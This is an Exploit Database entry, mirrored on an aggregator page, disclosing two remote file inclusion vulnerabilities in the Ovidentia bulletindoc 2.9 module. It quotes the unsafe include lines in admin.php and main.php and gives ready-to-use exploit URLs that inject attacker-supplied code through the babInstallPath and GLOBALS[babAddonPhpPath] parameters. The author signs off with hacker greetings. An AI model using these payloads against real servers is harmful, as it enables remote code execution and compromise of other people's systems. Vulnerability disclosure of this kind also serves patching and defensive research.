Ovidentia bulletindoc Module 2.9 – Multiple Remote File Inclusions

• Exploit Database
• 118 阅读

• 作者： bd0rk
  日期： 2015-12-15
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/38989/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41

  # Title: Ovidentia Module bulletindoc 2.9 Multiple Remote File Inclusion Vulnerabilities # Author: bd0rk # eMail: bd0rk[at]hackermail.com # Twitter: twitter.com/bd0rk # Tested on: Ubuntu-Linux # Download: http://www.ovidentia.org/index.php?tg=fileman&sAction=getFile&id=17&gr=Y&path=Downloads%2FAdd-ons%2FModules%2Fbulletindoc&file=bulletindoc-2-9.zip&idf=792   PoC1:   /bulletindoc-2-9/programs/admin.php line 2 ------------------------------------------------------   include $babInstallPath."admin/acl.php";   ------------------------------------------------------   [+]Sploit1: http://[s0me0ne]/bulletindoc-2-9/programs/admin.php?babInstallPath=[EviLCode]   Description: The $babInstallPath-parameter isn't declared before include. So an attacker can execute evil-code 'bout this.       PoC2:   /bulletindoc-2-9/programs/main.php line 2 -------------------------------------------------------   require_once( $GLOBALS['babAddonPhpPath']."fonctions.php");   -------------------------------------------------------   [+]Sploit2: http://[s0me0ne/bulletindoc-2-9/programs/main.php?GLOBALS[babAddonPhpPath]=SHELLCODE?   Description: The problem is the same as the first. -.- It's possible to compromise the system.   ### The 27 years old, german hacker bd0rk ###   Greetz: Kacper Szurek, High-Tech Bridge, rgod, LiquidWorm